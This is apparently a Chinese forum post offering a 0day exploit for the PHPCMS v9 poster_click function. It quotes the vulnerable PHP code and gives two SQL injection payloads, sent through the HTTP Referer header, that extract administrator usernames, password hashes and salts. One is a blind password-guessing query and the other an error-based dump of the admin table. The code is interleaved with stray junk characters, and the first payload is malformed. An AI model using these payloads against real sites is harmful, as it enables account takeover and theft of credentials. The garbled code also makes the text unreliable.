phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

问题函数\phpcms\modules\poster\index.php

4 Q) ]2 T# |, {public function poster_click() {
1 W4 L0 D5 f3 Q$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
5 g  w* ]7 I' F/ N  M$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
  M; {* P& [0 c, t$ip = ip();
5 w0 d+ o& h1 Y/ }3 s1 I& t$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
+ }' p) @# G- c7 t' o' Iif($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
' s  u, j) u0 T: ^& h; O6 k}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
: u* h# e$ p3 j, }}
header('Location: '.$url);
}

利用方式：
) f+ i# u/ L- W7 A/ s
+ I, E# R* n* y9 c/ I$ q1、可以采用盲注入的手法：

: K3 U% s5 H( a  areferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

通过返回页面，正常与否一个个猜解密码字段。
! N& M, d" B3 ~; w( y
4 e2 H) X/ Y+ d+ r. D: `3 T  c2、代码是花开写的，随手附上了：
$ u) ]: M$ e3 [
/ \0 G* i' |4 @1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
